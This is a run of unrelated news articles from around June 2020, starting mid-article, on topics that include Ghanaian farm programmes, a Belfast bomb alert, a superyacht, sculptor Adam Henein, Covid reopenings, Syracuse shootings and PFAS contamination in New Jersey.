The District Chief Executive, Hon Lawyer Kwabena Panin Nkansah commended the farmers for good work done. The farmers requested for more seedlings since they still had vast farmlands for bigger plantation.

The DCE informed the farmers that the District Assembly in collaboration with the department of agriculture under the PERD programme is currently working on 20,000 more palm seedlings for the district. He promised that the PERD program was going to continue as long as farmers are dedicated to maintaining the farms.

On the Planting for Food and Jobs beneficiary farms, the team inspected maize, pepper, cabbage, and okra farms. The farmers were grateful to the government for the PFJ programme.

They were glad for the reduction in the cost of fertilizer and planting seeds. The team was impressed with the work that had been done on the farms they inspected.

The team met the Awosoase oil palm farmers and processors association. The DCE commended the association for the initiative to process oil palm in the district.

He noted that oil palm processing had the potential to be done on a large scale. He explained that because of the PERD program, the district will soon need more processing industries to process palm oil.

He explained that palm oil could be used for soap making and food and this promises a large market for palm oil. Hon Lawyer Kwabena Panin Nkansah promised the group cement bags to improve the hygienic conditions of the processing area.

The rice farmers pleaded with the district assembly to assist them with nets and a rice thresher. The farmers said, they had to travel to Kumasi to get a thresher after the rice they grow is harvested.

The DCE said that the district is working on getting a thresher. He added that a satellite market was going to be raised for the district around the Sekyere toll booth area and that promises a large market for the local rice.

The DCE took the opportunity to advise the farmers to protect themselves from Covid-19 and observe all the safety protocols as directed by the World Health Organisation and the Ghana Health Service. He expressed how the nation depends on farmers to continue producing our healthy local foods.
Police at the scene of a security alert on the Upper Lisburn Road on June 5th 2020 Photo by Kevin Scott for Belfast Telegraph)

A viable device was discovered during a security alert in Belfast on Friday evening.

Police and Army Technical Officers (ATO) attended the scene on the Upper Lisburn Road, near Finaghy.

The device was discovered on the footpath and after examination by ATO was declared viable, it has now been removed for further examination.

The Upper Lisburn Road has now reopened to traffic.

Justice Minister Naomi Long said that leaving an explosive device in a public place is "beyond reckless".

"Those responsible have no regard for human life. They are motivated by a need to create fear and disruption in our community and they do not care if innocent people are injured or killed as a result of their cowardly actions," the Alliance leader said.

Thankfully, due to the swift actions of the public and the professionalism and expertise of the ATO and police, a potentially serious incident has been averted."

Detective Sergeant Gardiner said the device could have easily been discovered by children.

Id like to thank local people, who have had their evening disrupted, for their patience as we worked to make the area safe," he said.



The device was found on a footpath, where anyone  including children  could easily have come across it.



This was a wicked and cowardly act, with potentially devastating consequences, and we are working to establish a motive and identify those responsible."

Expand Close Police at the scene of a security alert on the Upper Lisburn Road on June 5th 2020 Photo by Kevin Scott for Belfast Telegraph) Kevin Scott / Belfast Telegraph / Facebook

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Whatsapp Police at the scene of a security alert on the Upper Lisburn Road on June 5th 2020 Photo by Kevin Scott for Belfast Telegraph)

He appealed for anyone with information to come forward.



I am appealing to anyone with information, or who noticed any suspicious activity in the area, to contact detectives on 101, quoting reference number 1287 of 05/06/20," Detective Sergeant Gardiner said.



A report can be made using the online reporting form via www.psni.police.uk/makeareport



Information can also be provided to Crimestoppers anonymously on 0800 555 111 or online at www.crimestoppers-uk.org
She is owned by Alisher Usmanov, thought to be Russia's fifth richest man two years ago with $16bn net worth

It is the fourth largest yacht in the world by length but biggest in gross tonnage (15,917) and interior volume

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The world's biggest super-yacht worth 515 million and measuring over 500ft long with 60 cabins and two helipads has arrived in the UK after a week-long voyage from Barcelona.

Dilbar arrived this morning and proved to be a spectacular sight as she made her way up Southampton Water.

Looking like something out of a James Bond film, she drew plenty of admiring glances as she cruised past Hythe and other waterfront communities.

She is owned by Russian billionaire Alisher Usmanov and took more than four years to build.

Super-yacht Dilbar moored up in Southampton on Friday morning. The world's biggest super-yacht worth 515 million and measuring over 500ft long with 60 cabins and two helipads has arrived in the UK after a week-long voyage from Barcelona

The dining area inside the luxury yacht Dilbar, now named Al Raya, with a chandelier hanging over a table fitting up to 16 chairs. The super-yacht proved to be a spectacular sight as she made her way up Southampton Water

The cinema inside the luxury yacht, including double beds and large sofas. Dilbar's recreation facilities also include a 25-metre pool which holds 180 cubic metres of water

One of the large bedrooms inside the luxury yacht. Dilbar is the fourth largest yacht in the world by length but the biggest in terms of gross tonnage (15,917) and interior volume

Russian billionaire Alisher Usmanov, who owns the super-yacht, pictured in front of JMW Turner's painting 'The Harbour of Brest' in the Tate Britain art gallery in 2008

Luxury facilities on board the huge vessel include almost 60 cabins and two helipads on the bow and aft of the upper deck.

Dilbar is the fourth largest yacht in the world by length but the biggest in terms of gross tonnage (15,917) and interior volume.

Her 30,000kw diesel electric power plant, thought to be a record for a super-yacht, gives her an impressive cruising speed of 22.5 knots.

Two years ago the super-yacht's owner Usmanov was estimated to be Russia's fifth richest man, with a net worth of $16 billion.

He is best known in business circles as the main shareholder of USM Holdings.

The billionaire made his money in metal, media, telecommunications and sport.

The vessel is equipped with an Airbus H175 helicopter, she is 512ft long with a beam of 79ft and a draft of 20ft.

She has a displacement of 1,230 tons - the equivalent of around 186 elephants.

The dining and living area inside the super-yacht, which took four years to build and has almost 60 cabins and two helipads on the bow and aft of the upper deck, alongside a displacement of 1,230 tons - the equivalent of around 186 elephants

A bar pictured inside the luxury yacht, with a piano and seating area also pictured. The vessel is further equipped with an Airbus H175 helicopter, she is 512ft long with a beam of 79ft and a draft of 20ft

The same area pictured from a different angle inside the yacht. Her 30,000kw diesel electric power plant, thought to be a record for a super-yacht, gives her an impressive cruising speed of 22.5 knots

Looking like something out of a James Bond film, she drew plenty of admiring glances as she cruised past Hythe and other waterfront communities this morning (pictured)

Described as one of the most complex and challenging yachts ever built, her recreation facilities include a 25-metre pool which holds 180 cubic metres of water.

She can accommodate 36 guests and 84 crew. Dilbar was built by Lurssen Yachts at its shipyard near in Bremen, Germany.

Three years ago Dilbar was named the winner of the 2017 World SuperYacht Award for Motor Yacht of the Year.

The purpose of her visit to Southampton - and the likely length of her stay - is not known.

Usmanov ordered Dilbar to replace his other superyacht, a 377ft vessel which was previously called Dilbar and is is now known as Ona.

Built over 52 months, Dilbar's exterior was designed by Monaco-based Espen Oeino, while her interior was done by London-based Winch Design.

Dimitri Semenikhin, of Yacht Harbour, previously said about the ship: 'Yacht projects of this scale never fail to impress, especially when Lurssen is involved.

'Dilbar is constructed in such a way that even through helicopter photo shoots, none of its features can actually be seen other than her two helipads.

'Although there are some outdoor spaces on the yacht, the majority of the living space is located indoors, which has led to Dilbar having the largest interior volume of any yacht ever built.'
Kigali, Rwanda (PANA) - Ugandan officials have accepted to release 130 more Rwandan nationals following videoconference meeting between the high level delegations of the two countries
He wrote a play, Scuba Duba, about a man fearing that his vacationing wife is having an affair with a black man, that became an off-Broadway hit in 1967 and touched on sensitive racial questions. He contributed to the 1969 hit musical Oh! Calcutta!, which was among the first plays to feature full nudity. He had another off-Broadway play in 1970, Steambath, in which God is a Puerto Rican man handing out favors and punishment, along with the towels, at a public bath.
The death of the great sculptor Adam Henein at the age of 91 on 22 May turned social media into a memorial space, with artists and art lovers expressing their love and respect for the rock sculptor and painter who fused ancient Egyptian and modern European concepts and founded the Aswan Sculpture Symposium in 1995.



This week sculptor Hassan Kamel told Al-Ahram Weekly about helping Henein restore his early sculptures at his house in Haraniya (later turned into a museum) on his return from Europe in the 1980s: I was then a fresh graduate, and I was thrilled to engage with him. He was not just an artist, he was a believer  in beauty, nature and ancient art  and saw his work as a normal part of these cycles. I belong to a generation of sculptors who benefited from the Aswan International Symposium, he added, which was not just a yearly event, but rather an educational laboratory where different international sculptors met up to exchange techniques and work in such an amazing creative environment. It worked as the link connecting our ancestors creative legacy, Heneins inspiration, and contemporary art.



When this writer asked him about Henein sculptor Hisham Abdel-Moeti was likewise effusive: My first encounter with Henein was at the Small Artworks Salon, which took place at the Arts Compound in Zamalek back in 2000. He scrutinised my small sculpture and then invited me in a fatherly tone to participate in the next round of the Aswan International Symposium, opening the door to a whole new level of development. In addition to his brilliant abstract figures and simple lines, Abdel-Moeti added, his drawings and paintings are equally significant. He is best described as a Sufi artist, whose understanding of nature and assimilation of the philosophy of ancient Egyptian art contributed to his international fame.



The Weekly visited Heneins house-museum in Haraniya in 2016, a year after it was opened and a week after the Adam Henein Sculpture Award was announced. Excerpts from that encounter are reproduced below.

The 1950s was a rich cultural period: impressionism, surrealism, abstract expressionism. I learned about them all, but I had no inclination to join any movement, political or cultural. I had my own experience and emotions, so I had no time for such activities.



Seeing the ancient sculptures had a magic effect on me. I went home that day and modelled a small clay figure of Ramses II. This was the start of my intellectual and artistic journey, how I learned the concept of art. Art should come from within, it should not be imposed by theories or concepts. Art is a dialogue between the artist and nature, or the surrounding environment; a dialogue between the artist and his subject.



The museum includes sculptures I made when I was a student, one wood sculpture in particular. Art is a strange experience that knows no boundaries, so you should not judge a work by its makers age; great work can be the result of zero experience. This is what we call spontaneity, which is the law ruling art.



I was playing like a happy child with my tools, and it felt great, playing with nothing in particular on my mind. I didnt like my professors teaching methods, with their focus on European art trends. It was okay, but I have always felt there were closer and greater patterns in ancient Egyptian art.



I had the opportunity to watch people living in Luxor, the simple details of their daily routines, their animals, their attitudes. You compare this with images of ancient times, and you realize the meaning of art. People who lived there in the company of the great abstract ancient monuments helped me to understand how to make art in my own way.



On arriving in Paris I took part in a group exhibition with sculptures made in Egypt. At the exhibition I met a female artist, who happened to be the wife of Vasily Kandinsky, and she was very impressed by my work. That woman, I just cannot remember her name now, asked me bluntly, Well, what are you doing here in Paris? You should go back to Egypt. And it was true. The good thing about being in Europe was learning about different art schools, seeing outstanding masterpieces and honing this Egyptian originality as a fingerprint of my own.



I draw a lot. Drawing is easy and fast. Sculpture is slow. But I dont draw sketches. Sculptures come out after many different sketches or as the completion of a given sketch. I used to work for 15 hours a day, but not anymore. My stamina has diminished in the last few years.



The unfortunate situation of art today is largely due to the disconnection between art and people, and this is what pushed me to establish this museum, to make art from different stages of my career available for people to see. I am soon leaving this world, and it is good to leave something behind, as a message.

*A version of this article appears in print in the 4 June, 2020 edition of Al-Ahram Weekly

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Florida bars, bowling alleys and theme parks will be part of the next phase of reopening the state in the midst of the coronavirus pandemic, Republican Gov. Ron DeSantis announced Wednesday.

DeSantis made his announcement at Universal Orlando Resort, which opened to passholders for Wednesday and Thursday, and will open to the public on Friday.

Amusement parks  were here right now  we wanted them to work with their local governments to submit plans, DeSantis said. Universal did a great job, had a great plan, and I think as youve seen, theyre taking safety very seriously to keep their guests safe.

Friday is also the day where Phase 2 of the reopening will begin, with bars allowed to open at 50% capacity with social distancing and sanitation.

Youre seated to get served. People go, enjoy, have a drink, thats fine, We want to kind of not have huge crowds piling in, DeSantis said.

Phase 2 applies to 64 of Floridas 67 counties. The hardest hit  Miami-Dade, Broward and Palm Beach  will have to submit plans for the next step in their reopening.

Florida allowed restaurants and retail shops to open at 25% capacity on May 4 and expanded that later in the month.

Movie theaters, bowling alleys and pari-mutuel betting facilities also have a path to reopen if they submit a plan for social distancing and sanitizing, DeSantis said.

In Orlando, crosstown rival, SeaWorld Orlando, plans to open its parks next week, and Walt Disney World will start a phased reopening of its parks next month.

As of Wednesday, Florida had more than 58,700 coronavirus cases and more than 2,500 related deaths, according to the Florida Department of Health.

Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

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A Ukrainian-language audio guide has been launched in the world-famous Albertina Museum in Vienna.

The audio guide was created due to the initiative of First Lady of Ukraine Olena Zelenska, the press service of the Head of State reports.

Ukrainian tourists and Ukrainians living in Austria will be able to hear in their native language the history of creation and interesting details about the masterpieces of world classical modernism from the museum exhibitions "From Monet to Picasso", which include works by Monet, Renoir, Toulouse-Lautrec, Signac, Matisse, Munch, Picasso, Modigliani, Chagall, Malevich, Kokoschka and others, the statement reads.

Ukrainian visitors will also be able to listen to a tour of the ceremonial halls of the palace built in the style of classicism, which reproduces the culture of the Habsburg era.

The audio guide translated specially for Ukrainians will be available for the exhibition of works from the Hahnloser Collection, one of the most important private collections of French modernist art, scheduled for the end of August, which will present works by Van Gogh, Cezanne and Hodler.

According to the wife of the President of Ukraine, the main idea of the project on the creation of Ukrainian-language audio guides in world museums is to spread the Ukrainian language in different countries so that Ukrainians can be proud that the most famous monuments "speak" their native language.

This project is not just about convenience and accessibility. Its goal is to promote Ukraine and the Ukrainian language in the world. I want people from all over the world to see Ukrainian among the options when choosing the audio guide selection menu, Olena Zelenska stressed.

At the start of the project, the First Lady together with the Embassies of Ukraine addressed the world's most popular museums and architectural monuments. Albertina was one of the first to respond. The translation and sound recording for the museum lasted four months.

"I want to emphasize that cooperation with Ukraine is extremely important for us. Albertina is visited by many Ukrainians, and, of course, they want to better understand and learn more about the works of art presented in our museum. And we are very happy that we managed to add an audio guide in Ukrainian to our system, Prof. Dr. Klaus Albrecht Schroder, Director General of the Albertina Museum noted.

As the press service informs, this is the first audio guide created on the initiative and with the support of Olena Zelenska. The work continues: the sound recording of the tour in Ukrainian for the Latvian National Museum of Art is coming to an end, several more translations are being prepared and negotiations with museums are underway in parallel.

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Corvette Museum Set To Reopen June 8 With Exciting Cars, Exhibits and Experiences

SEE ALSO: Fully Vetted - Video History Series Of Chevrolet Corvette

SEE ALSO: TACH's Chevrolet Corvette Content Archive (1995-Present) Reviews, Video, Manufacturer News, Specs, Corvette Museum

Newly Renovated Museum Galleries

E. Pierce Marshall Memorial Performance Gallery Exhibit-Officially Open

"Vision Realized" Exhibit-Officially Open

Mid-Engine Corvette Gallery Exhibit-Officially Open

Entombed Corvette Exhibit-Officially Open











Bowling Green Kentucky; While the Michelin NCM Bash may not have had the same in-person connection opportunities as Corvette fans have come to expect, the camaraderie, enthusiasm and excitement could not be stifled. This years event took place online in a virtual environment, offering a number of seminars and activities much like those offered in years past. Thursday, May 28 and Friday, May 29 welcomed nearly 700 registrants to a Zoom webinar platform where they were treated to live interactions with Corvette V.I.P.s including Corvette Mechanic Paul Koerner, Corvette Racings Program Manager Doug Fehan, GM Bowling Green Assembly Plant Manager Kai Spande, Michelins team including Lee Willard, Eric Schmedding, Dominique Josson and Jeff Anderson; Mobil 1s team including Doug Hakala, Jeff Valentage and Cam Bower, Tadge Juechter and Harlan Charles with the Corvette team and more.

As part of the event, two ribbon cutting ceremonies were held, including walk thrus of two galleries and one new exhibit.

Fridays event agenda included the E. Pierce Marshall Memorial Performance Gallery ribbon cutting and walk-thru. In December, the Museum announced that thanks to the generosity of E. Pierce Marshall, Jr. the former Racing and Performance Gallery would be receiving a major face lift.

The Performance Gallery is one space in the Museum that has been around since the buildings grand opening over 25 years ago, said Derek E. Moore, Director of Collections / Curator for the Museum. In the early days an elevated racetrack was in place to give display cars a feeling of motion and being on the grid, but due to difficulties changing out the vehicles, was later removed. The space has housed an interactive pit crew challenge, educational driving simulator and various artifacts through the years. We were thrilled that Pierce came on board to make the long over-due renovations a reality.

The Gallery now features digital projection, interactive touch screens paired with artifact display cases, 180-degree video footage, and an impressive line up of cars. Highlighted front and center in the exhibit is Pierces C7.R.

I think the renovation to the Museum is extremely timely, shared Pierce. To have something more interactive that will engage younger people will ensure future generations will be able to learn how unique Corvette is in Americas car culture and its racing history.

While we were not able to celebrate this incredible new gallery with the Corvette community in person, were glad so many friends participated virtually and were able to explore it with us from afar, shared Museum President and CEO Dr. Sean Preston. We are so fortunate to have the support and enthusiasm of E. Pierce Marshall, Jr. to make this dream exhibit a reality and cant wait until our reopening date of June 8 to share it with the world in person.

The E. Pierce Marshall Memorial Performance Gallery wasnt the only exhibit debut for the Museum on Friday. Around the corner, a new exhibit is waiting to be discovered and enjoyed by visitors. Many Corvette aficionados may remember hearing of a 1954 Corvette that was entombed in a brick room in the basement of a grocery store for nearly 30 years. In 1986, the room was dismantled brick-by-brick, and the Corvette revealed. After changing hands a few times, the Corvette was donated to the Museum in 2019.

The donors, who wish to remain anonymous, donated the car so that we could continue in the preservation of both the car and its amazing story, said Derek. We knew we wanted to re-create the tomb to tell that story, and thanks to the generosity of Robin and Mary Vann of the East Tennessee Corvette Club, we were able to make that exhibit a reality.

The new exhibit is designed to replicate in as much detail as possible the actual tomb that the Corvette was once housed in, including the two light bulbs in the ceiling, small hatch in the top, and tiny window on the side where the car was viewable. Of course, for Museum display purposes one side of the tomb is open so that visitors can get a really good view of the car, which remains unchanged from its storied history.

Finally, as a bookend to the new exhibits to debut, those tuning in live to the Michelin NCM Bash stream were able to see the progress that has been made to date on The Vision Realized  an exhibit highlighting the many prototypes which lead to the creation of the next generation mid-engine Corvette. The new exhibit is located in the Design and Engineering Gallery of the Museum and is planned to be displayed at least through April of 2021.

We are excited to be the first Museum to house this special exhibit, and are anxious to complete the new look with the arrival of Cerv I, Cerv II and a few other cars and artifacts on loan from the GM Heritage Center, shared Derek. The exhibit tells the story of Zora Arkus-Duntovs dream of one day having a production mid-engine. We only wish he could be here to see it for himself.

Among the cars on display include the experimental two-rotor Corvette, XP-987 GT, which was recently acquired by the Museum thanks to the fundraising efforts of Lone Star Corvette Club and Texas Corvette Association.

Our Texas friends in these clubs have stepped forward to help us fund raise and acquire this car and were so excited to have such a fitting exhibit to show it off, shared Amy Hardin, Director of Development and Sponsorships. Their generosity has helped the National Corvette Museum acquire a car that had actually left the U.S. and were thrilled that it can now call the home of Corvette its home.

The Museum reopens to the public on June 8, complying with all health and safety precautions related to the COVID-19 pandemic, and will be open daily, 8am-5pm CT. We have spent the last several months not only getting these amazing exhibits ready for the public, but also implementing protocol to ensure our staff and guests are safe during their visit, added Sean. We are excited to welcome people back, and feel theyll be wowed by the many improvements our team has made.
Syracuse, N.Y.  A woman is in critical condition after a shooting early Friday morning in Syracuse.

A woman called 911 from an apartment in the 400 block of Craddock Street at 1:47 a.m. and told dispatchers she may have been shot. The Syracuse Police Department rushed to the scene and found the woman had been shot in the head, police said.

The 22-year-old woman was rushed to Upstate University Hospital. Shes in critical condition, police said.

The woman was wounded less than two hours after a deadly shooting on the Syracuses North Side.

A 20-year-old man was shot in the head just after midnight in the 100 block of Neutral Court. He was pronounced dead at the scene of the shooting. His name has not yet been released.

The woman critically injured and the man killed were among four people shot between late Thursday night and early Friday morning.

Man killed on Syracuses North Side during spate of overnight shootings

Police released information about the other two shootings:

A 21-year-old man was found shot in his upper body at 8:44 p.m. Thursday near Burger King in the 900 block of West Genesee Street. He was rushed to Upstate hospital and is expected to survive

A 31-year-old woman was shot in the leg at 1:54 a.m. in the 1900 block of South Salina Street. She was brought to Upstate and is expected to survive.

Officers also investigated after gunfire was fired on three streets between Thursday night and Friday morning:

Gunshots were fired at 10:56 p.m. Thursday in the 100 block of Thurgood Avenue. Although a caller initially reported a person had been shot in the back, no one was injured. Police arrested a 16-year-old boy and charged him with first-degree reckless endangerment and second-degree criminal possession of a weapon.

Gunshots were fired at 11:21 p.m. Thursday in the 100 block of Randall Avenue. When police arrived, they found bullet casings on the street.

Gunshots were fired at 12:14 a.m. Friday in the 100 block of Lynhurst Avenue. When officers arrived, they found casings on the street.

Police have asked anyone with information about any of the incidents to call (315) 442-5222.

Staff writer Samantha House covers breaking news, crime and public safety for Syracuse.com | The Post-Standard. Have a tip or a story idea? Contact her at shouse@syracuse.com.
A wave of vital protests and campaigns have occurred over the last week and, while this energy has been incredible, we want to make sure that this isn't a passing moment and instead the beginning of a wider change.

We've created a number of articles and a custom guide to provide you with long-term resources and links.

This is a rolling list and we'll continue to update it, please email [email protected] if you have any useful links.





BRITAIN'T (Part One)



I woke myself up from the middle of a dream at 04.40am because I had to write. I grabbed my phone and typed a stream of consciousness. This is the result. Unedited, unfiltered.





BRITAIN'TBETTER#blacklivesmatter #BlackLivesMatterUK pic.twitter.com/qi1CPhJf4W  Arun Blair-Mangat (@arunblair) June 5, 2020

BlackLivesMatter



Felt the need to get it out. Everything that's happening is a defining moment in the history of the world.



We must do more.

We must be better. pic.twitter.com/vWtaFOoPy2  Noel Clarke (@NoelClarke) June 5, 2020

last night my husband and I got arrested on the stoop of our building on the UWS just after 8 pm. we were cheering on a peaceful protest on our block. this was my small visceral window into the police brutality black folks have experienced for centuries. #DefundThePolice pic.twitter.com/SIbMxgekwi  Shaina Taub (@shainataub) June 5, 2020

If you are attending any protest, please save this in your phone. Pass it on to anyone you know attending a protest. Write the one of the phone numbers on your arm. Stay safe #BlackLivesMatter #GeorgeFloyd pic.twitter.com/1LKm41F1Uw  #BlackLivesMatterUK (@ukblm) June 2, 2020

2 parts to this interview. https://t.co/SxhXBWRqd5  Adrian Lester (@AdrianLester) June 2, 2020

Here is a really useful list of Antiracism resources compiled by Sarah Sophie Flicker and Alyssa Klein: https://t.co/ltPuU1LdSL  bushtheatre (@bushtheatre) June 1, 2020

"I wear my melanin with pride." A powerful talk from actor/poet @JadeAnouka on being Black, a woman, and being seen as "other" https://t.co/a63dztVNru @TEDxPeckham pic.twitter.com/gm69tGwR45  TEDx (@TEDx) June 3, 2020

To support Black artists who aren't able to work as much or at all due to corona, due to the extra labour, extra strain, extra everything #ArtistsFundArtists will redistribute all funds raised by 1 Aug to Black UK artists (of any discipline) only. https://t.co/38nBxdooqq  Sabrina Mahfouz (@SabrinaMahfouz) June 3, 2020

"As Black and Brown women leaders in the city of Leeds, we are no strangers to the systemic and structural issues of racism, sexism and inequality in our society."



ICYMI: A statement from Leeds' Black and Brown Female Cultural Leaders > https://t.co/haNSnrjrqV#Blacklivesmatter pic.twitter.com/E4PGoJU8hg  eclipsetheatre (@eclipsetcl) June 3, 2020

Help raise 5000 to help distribute free books that fight for racial justic.. Please #donate on @justgiving and RT https://t.co/95au2dPth5  Newham Bookshop (@NewhamBookshop) June 3, 2020

Things you can do! pic.twitter.com/GBBcCARfEe  Marisha Wallace (@marishawallace) June 2, 2020

https://t.co/dPwhklz60h

A way to generate funding for the BLM movement through YouTube monetisation. Make sure to have this on and let the ads play through the video generates funds through YouTube ad monetisation and the money goes towards the BLM movement #BlackLivesMattter  Liam Tamne (@LiamTamne) June 2, 2020

Black Minds Matter is crowdfunding to offer free therapy sessions for black individuals and families in the UK with certified, professional, black practitioners for sessions as soon as possible. Black Minds Matter. Black Lives Matter. Donate now.https://t.co/ST2fS8dB6h  Ellie Taylor (@EllieJaneTaylor) June 2, 2020

I work in theatre, so of course I spend my life surrounded by educated white people, often affluent, who believe they are good, compassionate, empathetic humans. You shouldn't have any problem then, reading these resources. Please learn how to be an ally. https://t.co/trIol8YdON  Suba Das (@SubaDasDirects) May 29, 2020

.@RunnymedeTrust is an independent think tank which, through research and analysis of collated evidence, produces papers and reports to challenge race inequality in Britain.



The linked report is a MUST READ.



After which you might want to donate.https://t.co/M9yICm0G3b  Tyrone (@TyroneHuntley) June 2, 2020

#MyWhiteBestFriend Trade Edition @OberonBooks coming soon - all profits to be donated to the Minnesota Freedom Fund https://t.co/KMMrU9TG1j pic.twitter.com/trdjD8ahfD  Dela-who...? (@Rachel_Delahay) May 30, 2020

With thanks to @BlackBalladUK and all the contributors to this thread, here are some U.K. based charities, organisations and platforms whose work aims to eradicate racial injusticehttps://t.co/lkwcpncYPV  Talawa Theatre Co (@TalawaTheatreCo) June 1, 2020

here's a google doc of resources to support george floyd and the blm movement pls share #BlackLivesMatter #JusticeForGeorgeFloyd https://t.co/MRT6BoMKAT   (@ambivaIcnt) May 27, 2020
A primary school in Bradford was forced to close its doors within hours of reopening after two pupils tested positive for coronavirus.

St Paul's Church of England Primary School in Wibsey closed on Monday when Covid-19 tests for two siblings came back as positive.

The West Yorkshire school has since advised parents of pupils to self-isolate if they or their children came into contact with the siblings.

In a statement released through Bradford Council, Headteacher Cath Palmer said: "I can confirm that, following the advice of Public Health England, I have contacted the parents of children currently attending the school to alert them to the fact that two relatives who have been attending the school have tested positive for Covid-19.

"We have followed all the correct procedures advised by Public Health England."

Ms Palmer told parents the two pupils had completely recovered.

The school is remaining closed this week while a deep clean is carried out, although vulnerable children and children of key workers are still able to attend.

Local councillor Ralph Berry told YorkshireLive: "This tells us that we are not through this crisis and that we need to be really listening to the Director of Public Heath in Bradford (Sarah Muckle).

"We need to continue to observe social distancing and be very careful."

The school is not the only establishment forced to close its doors shortly after reopening - Arboretum Primary School, in Derby, was also forced to shut when seven staff members tested positive.

A spokesman for the Derby Diocesan Academy Trust confirmed to MailOnline that the school had been closed "due to a number of staff having confirmed cases of Covid-19".

Year One and Year Six pupils around the country returned to classrooms on Monday as part of a phased school reopening under Government plans to gradually ease lockdown. In many areas, secondary school pupils in years 10 and 12 will follow on June 15.

Schools are beginning to open around the country, with patchy attendance. In some areas, some schools have found a lack of demand from parents.

In London, more than 80 per cent of schools reopened in boroughs including Wandsworth, Westminster, Kingston, Richmond, Kensington and Chelsea and Camden, despite opposition from teaching unions.

New safety rules include limiting contact between groups of children, staggered lunchtimes and drop-off times, no soft toys and more handwashing.

Parents will not be fined and schools will not be held to account for absences.

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A poll by the National Governance Association found that three in four governors said it was unlikely that pupils would be back for a full month before the summer.
A 35-year-old man walked through a crowd of protesters in Lancaster on Sunday, trying to find people whod be willing to help him burn down the citys police station, authorities said.

According to the Lancaster Bureau of Police, 35-year-old Gerald Nuevo Grauert approached protesters speaking out against the death of George Floyd, and asked they meet him at the station later that night. He said to bring gas and other flammable items, police said.

Authorities said there were protesters gathered on the first block of West Chestnut Street at North Prince Street at the time. Others participated in a caravan that drove by the police station.

Grauert was identified after photos of him at the protest circulated online.

He was arrested Thursday morning during a traffic stop on the 800 block of East King Street.

Grauert is charged with criminal solicitation to commit arson, riots and institutional vandalism.

READ MORE:

Lancaster officials say armed agitators, white nationalists inciting violence at George Floyd protests

Massachusetts man arrested for attacking elderly Trump supporter: reports

Ill-considered posts lead to lost jobs amid protests, crisis
Source: Xinhua| 2020-06-05 05:15:43|Editor: huaxia

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FRANKFURT, June 4 (Xinhua) -- German flag carrier Deutsche Lufthansa AG will leave Germany's benchmark DAX index on June 22, the Deutsche Boerse announced on Thursday evening.

German property company Deutsche Wohnen SE will be promoted to replace Lufthansa in the DAX, whereas Lufthansa will be included in the MDAX index, the Deutsche Boerse said.

The benchmark DAX is a blue-chip stock market index consisting of 30 major German companies trading on the Frankfurt Stock Exchange. The MDAX is the second stock market league consisting of 60 companies.

Lufthansa said Wednesday in its interim report that it posted a net loss of 2.1 billion euros (2.38 billion U.S. dollars) in the first quarter this year amid the coronavirus crisis.

Group revenue fell by 18 percent to 6.4 billion euros in the first quarter, and adjusted earning before interest and taxes in the same period widened to minus 1.2 billion euros -- compared with minus 336 million euros last year.

"Global air traffic has come to a virtual standstill in recent months. This has impacted our quarterly results to an unprecedented extent," said Lufthansa's chief executive officer Carsten Spohr.

The airlines in the Lufthansa Group carried 21.8 million passengers from January to March, around a quarter less than in the prior year, the company said. In April, its airlines recorded a 98.1-percent year-on-year decline in passenger numbers. Freight supply was 60.7 percent lower from a year ago.

The company's supervisory board on Monday approved a 9-billion-euro stabilization package offered by the German government. Enditem
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(Kitco News) - After a slowdown due to COVID-19, KAZ Minerals said its capital expenditure guidance of $150 million for 2020 remains in place for "one of the worlds largest undeveloped copper assets."

KAZ said it is working with the Russian government during the operational phase of the project, such as planning details of the power and transport infrastructure.

The company's bankable feasibility study is expected by the end of 2020.

The company also said drill results should push out the mine life, currently estimated at 25 years.

"We are working to develop our execution strategy for the delivery of the Baimskaya copper project, one of the worlds largest undeveloped copper assets. Study work and drilling completed so far at Baimskaya indicates that a larger project will unlock the potential of the world-class Peschanka deposit. We look forward to updating the market with the details of the Bankable Feasibility Study when it is completed later this year, said the company's chair, Oleg Novachuk.
The Solvay Specialty Polymers plant in Thorofare, West Deptford, Gloucester County, New Jersey. Researchers published an article in Science June 4, 2020 saying they had found a previously unidentified group of chemical compounds in soil throughout the area that they trace back to the facility. Read more

A team of scientists report in a new study that they have found a recently identified group of chemical compounds, likely used as a substitute for highly-toxic PFAS, in soil samples taken across New Jersey.

Its not yet known whether the new compounds, called ClPFPECAs, are toxic to humans or dangerous to the environment. However, it is believed they were used to replace some forms of PFAS, a group of chemical compounds used in the production of non-stick cookware, fire resistant furniture, and firefighting foam.

The research suggests the source of the new compounds was Solvay Specialty Polymers USA in West Deptford, Gloucester County, just off the Delaware River. Last year, New Jersey ordered Solvay, along with four other companies, to pay for cleaning up chemicals used at their sites that contaminated drinking water.

Representatives at Solvays corporate offices in Brussels, Belgium, could not be reached Thursday for comment.

The reports release comes just days after the state Department of Environmental Protection adopted the most stringent drinking water standards in the country for types of PFAS known as perfluorooctanoic acid (PFOA) and perfluorooctane sulfonic acid (PFOS).

PFAS has drawn wide publicity. In 2014, residents in Bucks and Montgomery Counties living near former military bases learned their drinking water was contaminated by PFAS linked to firefighting foams used at the bases.

In 2017 the New Jersey DEP collected soil samples near two former PFAS-using plants in South Jersey: Solvay and Chemours Chambers Works in Penns Grove. During analysis of those samples, researchers discovered the unknown compounds. Their findings were published Thursday in the journal Science.

The research was paid for by the U.S. Environmental Protection Agency and New Jersey DEP. The EPA reviewed and approved the report but researchers said the conclusions are their own.

PFAS do not break down in the environment, and have been labeled forever chemicals by environmental groups. They are linked to human health issues. Although some PFAS are no longer made in the United States, they are still produced abroad and can be imported in consumer goods such as carpet, rubber, and plastics. Chemical companies have been trying to come up with safer alternatives to PFAS for years.

In the new study, led by John Washington, an EPA research chemist and an adjunct faculty member at the University of Georgias geology department, scientists labeled the newly identified chemicals as chloro-perfluoro-polyether-carboxylate compounds, or ClPFPECAs.

Because the new compounds are considered proprietary, little is known about them or any risks they might pose to human health or the environment.

Washingtons team evaluated soil samples from across the state and found 10 different ClPFPECAs, at least three of which were identified in all samples, as well as in a sample from a site more than 450 kilometers (280 miles) away.

That suggested to researchers that the ClPFPECAs were released into the atmosphere. Aided by weather data recorded near the Philadelphia International Airport, researchers collected soil along the downwind path from the plants.

The research team analyzed previously existing samples around a Solvay plant in Italy and found similar ClPFPECAs, suggesting that Solvay was the source. The company has locations in 61 countries.

In New Jersey, the samples were in highest concentrations when they were found closest to Solvay. The researchers dont yet know how long these compounds remain dangerous in the soil.

